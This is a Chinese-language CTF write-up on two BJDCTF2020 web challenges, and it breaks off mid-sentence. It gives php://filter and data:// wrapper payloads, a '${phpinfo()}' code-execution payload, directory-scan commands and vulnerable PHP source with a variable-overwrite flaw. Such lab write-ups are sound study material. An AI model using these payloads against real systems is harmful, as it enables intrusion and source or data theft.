BJDCTF2020]ZJCTF,不过如此
首先
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php
或者
者
https://www.cnblogs.com/wangtanzhi/p/12328083.html
payload:/S*=${phpinfo()}
[BJDCTF2020]Mark loves cat
检测出/.git/HEAD 说明有git源码泄露
目录扫描,发现git文件,说明存在git泄露。
python2 dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
python2 dirsearch.py -u http://48a7b7e3-7fda-48d6-933c-53da0450ca75.node3.buuoj.cn/ -e * -s 1
不加-s 1延迟的话,会git文件也是429 (too many requests)
用GitHack下载git源码(没成功弄,还没搞到好的工具)
flag.php
<?php $flag = file_get_contents('/flag');
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
// 如果GET传了参数flag 且 传参flag值并不等于flag
if($_GET['flag'] === $x && $x !== 'flag'){ // $x=flag
exit($handsome);
}
}
// 如果GET没有传参flag 且 POST没有传参flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
// 如果POST传参flag的值为flag 或 GET传参flag值为flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
两种思路:
①前面的if都不进入,从而可以不被exit(),让函数执行到最后一行,输出$flag,但是前提是$flag值不能被修改
②在前面就进入if语句,利用exit()输出变量,利用变量覆盖漏洞,把前面可以输出的变量,比如exit($yds)输出$yds,想办法把$yds=$flag这样子覆盖赋值,输出flag
第一种思路:
为了不进入if,要避开所有的如果:针对三种情况,用非的思路
1、如果get传了flag,flag值要为flag
2、get和post中起码要post有一个传了flag
3、post和get传flag的话,值都不能为flag
可以发现,3种情况自相矛盾,所以不存在完美绕过
第一思路不可行
第二种思路:
进入if
1、传flag=非flag的内容
-->会修改flag的内容,不可行
2、GET没有传参flag 且 POST没有传参flag
-->可行 输出的是exit($yds) 想办法使$yds